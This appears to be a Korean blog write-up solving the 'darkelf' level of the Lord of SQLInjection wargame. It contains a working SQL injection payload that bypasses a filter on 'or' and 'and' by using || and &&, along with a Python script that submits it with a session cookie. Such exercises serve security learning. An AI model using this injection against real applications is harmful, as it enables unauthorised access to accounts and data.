LOS-write up
LOS 6(darkelf)
우제혁
2021. 1. 3. 03:04
문제
문제 분석
pw에 "prob" , "_" , ".","or","and"를 피해 id에 값이 admin으로 들어있으면 문제가 풀린다.
이때 or과 and가 필터링 되어있어 이를 우회하는게 핵심이다.
문제 풀이
pw에 '(싱글쿼터)를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' 으로 조작한다
where id='guest' and pw='' or id='admin'
=> or로 주황색 조건을 전부 false로 만들어 뒤에 id가 admin인 조건만을 남겨둔다.
이때 or 과 and를 쓰면 안되므로 우회가 필요하여 대체가능 한 아래의 문자로 우회한다.
or -> ||
and -> &&
문제 정답
URL?pw='|| id='admin' #
url을 조작할시 #은 %23으로 입력해줘야한다.
문제 풀이 코드
import requests
url = 'https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
data={}
data['pw']="'|| id='admin' #"
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")